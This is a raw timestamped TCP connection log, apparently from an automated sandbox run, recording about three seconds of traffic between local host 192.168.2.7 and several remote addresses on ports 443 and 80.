Nov 20, 2024 23:13:02.481340885 CET	49920	443	192.168.2.7	20.110.205.119
Nov 20, 2024 23:13:02.481348991 CET	443	49920	20.110.205.119	192.168.2.7
Nov 20, 2024 23:13:02.610970974 CET	443	49919	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.611560106 CET	49919	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:02.611572981 CET	443	49919	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.612026930 CET	49919	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:02.612031937 CET	443	49919	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.823081017 CET	443	49917	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.826190948 CET	443	49917	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.826251030 CET	49917	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:02.826316118 CET	49917	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:02.826327085 CET	443	49917	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.826378107 CET	49917	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:02.826385021 CET	443	49917	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.828875065 CET	49927	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:02.828915119 CET	443	49927	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.829085112 CET	49927	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:02.829255104 CET	49927	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:02.829267979 CET	443	49927	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:02.848210096 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.848234892 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.848248959 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.848335981 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.848375082 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.848436117 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.851788044 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.851816893 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.851833105 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.851895094 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.851914883 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.851962090 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.893513918 CET	443	49920	20.110.205.119	192.168.2.7
Nov 20, 2024 23:13:02.893659115 CET	443	49920	20.110.205.119	192.168.2.7
Nov 20, 2024 23:13:02.893718004 CET	49920	443	192.168.2.7	20.110.205.119
Nov 20, 2024 23:13:02.895136118 CET	49920	443	192.168.2.7	20.110.205.119
Nov 20, 2024 23:13:02.895152092 CET	443	49920	20.110.205.119	192.168.2.7
Nov 20, 2024 23:13:02.913666010 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.913729906 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.913753033 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.913770914 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.913799047 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.913814068 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.921715021 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.921785116 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.969578981 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.969603062 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.969609976 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.969633102 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.969647884 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.969657898 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.969665051 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.969674110 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.969695091 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.969712973 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.972805023 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.972858906 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.972888947 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.972918034 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.972934961 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.972959042 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.972965002 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:02.972987890 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:02.973133087 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.017930031 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.017937899 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.017966032 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.017996073 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.018008947 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.018017054 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.018028975 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.018054962 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.024394989 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:03.026221991 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.026329994 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.029613972 CET	49924	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:03.029643059 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:03.029979944 CET	49924	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:03.029985905 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:03.063477039 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.063545942 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.063582897 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.063591957 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.063637972 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.063890934 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.063915968 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.063956976 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.063987017 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.064004898 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.064099073 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.079478025 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.079544067 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.079551935 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.079586983 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.079596043 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.079633951 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.080007076 CET	49921	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.080023050 CET	443	49921	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.147636890 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.147692919 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.147715092 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.147739887 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.147763968 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.147777081 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.160768032 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.160845995 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.163367033 CET	443	49919	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:03.166821957 CET	443	49919	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:03.166898012 CET	49919	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:03.167002916 CET	49919	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:03.167023897 CET	443	49919	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:03.167035103 CET	49919	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:03.167041063 CET	443	49919	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:03.167529106 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:13:03.167607069 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:13:03.171238899 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.171329975 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.171339035 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.171370983 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.171411037 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.171425104 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.191322088 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.191346884 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.191397905 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.191431046 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.191447020 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.191447973 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.191484928 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.191915989 CET	49922	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.191932917 CET	443	49922	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.200902939 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.200962067 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.200992107 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.200999975 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.201035023 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.201044083 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.205385923 CET	49928	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:03.205419064 CET	443	49928	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:03.205594063 CET	49928	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:03.206053019 CET	49928	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:03.206068993 CET	443	49928	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:03.206306934 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:13:03.213921070 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.213998079 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.233865976 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.233920097 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.233938932 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.233947992 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.233992100 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.255618095 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.255672932 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.255697966 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.255706072 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.255748987 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.263526917 CET	49929	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:03.263577938 CET	443	49929	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:03.263657093 CET	49929	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:03.264173031 CET	49929	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:03.264188051 CET	443	49929	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:03.265934944 CET	49930	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:03.265966892 CET	443	49930	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:03.266041040 CET	49930	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:03.266501904 CET	49930	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:03.266516924 CET	443	49930	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:03.315696955 CET	443	49925	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:03.318907022 CET	49925	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:03.318924904 CET	443	49925	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:03.319828033 CET	49925	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:03.319833994 CET	443	49925	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:03.319952011 CET	49925	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:03.319966078 CET	443	49925	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:03.325943947 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:13:03.373049974 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.373136044 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.386502028 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.386557102 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.386568069 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.386574030 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.386617899 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.388506889 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.388592958 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.388609886 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.388637066 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.388793945 CET	49923	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:13:03.388806105 CET	443	49923	104.117.182.41	192.168.2.7
Nov 20, 2024 23:13:03.469186068 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:03.472260952 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:03.472316027 CET	49924	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:03.472352982 CET	49924	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:03.472376108 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:03.472393036 CET	49924	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:03.472398043 CET	443	49924	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:03.474889040 CET	49931	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:03.474931002 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:03.475049019 CET	49931	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:03.475193024 CET	49931	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:03.475209951 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:03.664993048 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:13:03.665065050 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:13:03.704713106 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:03.824335098 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:03.824420929 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:03.824635983 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:03.944312096 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:04.079138994 CET	443	49926	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:04.079623938 CET	49926	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:04.079670906 CET	443	49926	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:04.080070019 CET	49926	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:04.080082893 CET	443	49926	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:04.101871967 CET	443	49925	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:04.101905107 CET	443	49925	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:04.101947069 CET	443	49925	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:04.101990938 CET	49925	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:04.102020979 CET	443	49925	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:04.102039099 CET	49925	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:04.103100061 CET	49925	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:04.103121996 CET	443	49925	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:04.103136063 CET	49925	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:04.103276014 CET	443	49925	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:04.103307962 CET	443	49925	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:04.103364944 CET	49925	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:04.129055977 CET	49933	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:04.129091024 CET	443	49933	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:04.129198074 CET	49933	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:04.129722118 CET	49933	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:04.129736900 CET	443	49933	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:04.186033964 CET	49935	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:04.186074018 CET	443	49935	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:04.186157942 CET	49935	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:04.186559916 CET	49935	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:04.186574936 CET	443	49935	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:04.186695099 CET	49934	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:04.186794996 CET	443	49934	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:04.186979055 CET	49934	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:04.187271118 CET	49934	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:13:04.187305927 CET	443	49934	20.190.181.5	192.168.2.7
Nov 20, 2024 23:13:04.467116117 CET	49936	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:04.467154980 CET	443	49936	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:04.467564106 CET	49936	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:04.468141079 CET	49936	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:04.468154907 CET	443	49936	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:04.525580883 CET	443	49926	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:04.528933048 CET	443	49926	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:04.529000044 CET	49926	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:04.529084921 CET	49926	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:04.529084921 CET	49926	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:04.529120922 CET	443	49926	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:04.529148102 CET	443	49926	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:04.531719923 CET	49937	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:04.531752110 CET	443	49937	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:04.531944990 CET	49937	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:04.532260895 CET	49937	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:04.532275915 CET	443	49937	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:04.610019922 CET	443	49927	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:04.610399961 CET	49927	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:04.610424995 CET	443	49927	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:04.610856056 CET	49927	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:04.610861063 CET	443	49927	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.000490904 CET	443	49928	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.000976086 CET	49928	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.001000881 CET	443	49928	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.001513958 CET	49928	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.001519918 CET	443	49928	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.061161041 CET	443	49927	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.061218977 CET	443	49927	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.061285019 CET	49927	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.061485052 CET	49927	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.061500072 CET	443	49927	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.061508894 CET	49927	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.061513901 CET	443	49927	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.064282894 CET	49938	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.064312935 CET	443	49938	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.064515114 CET	49938	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.064635992 CET	49938	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.064650059 CET	443	49938	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.090797901 CET	443	49929	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.091058016 CET	49929	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.091083050 CET	443	49929	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.091454983 CET	443	49929	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.091799021 CET	49929	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.091857910 CET	443	49929	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.091972113 CET	49929	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.092050076 CET	49929	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.092080116 CET	443	49929	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.150006056 CET	443	49930	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.150232077 CET	49930	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.150253057 CET	443	49930	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.152163029 CET	443	49930	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.152544022 CET	49930	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.152729988 CET	49930	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.152731895 CET	443	49930	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.152765989 CET	49930	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.152811050 CET	443	49930	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.195450068 CET	49930	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.201338053 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.201384068 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.201401949 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.201402903 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.201425076 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.201442957 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.201443911 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.201462030 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.201464891 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.201472998 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.201493025 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.201500893 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.201524973 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.201541901 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.201556921 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.201571941 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.201582909 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.201617002 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.268804073 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.269298077 CET	49931	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.269325018 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.269720078 CET	49931	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.269727945 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.318876028 CET	443	49918	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.319401026 CET	49918	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.319431067 CET	443	49918	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.319833040 CET	49918	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.319843054 CET	443	49918	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.321006060 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.321029902 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.321068048 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.321103096 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.402395010 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.402507067 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.402515888 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.402724981 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.406586885 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.406661034 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.406665087 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.406706095 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.414449930 CET	443	49849	162.159.61.3	192.168.2.7
Nov 20, 2024 23:13:05.414520979 CET	443	49849	162.159.61.3	192.168.2.7
Nov 20, 2024 23:13:05.414736032 CET	49849	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:13:05.414838076 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.414889097 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.417885065 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.417999983 CET	80	49932	185.215.113.16	192.168.2.7
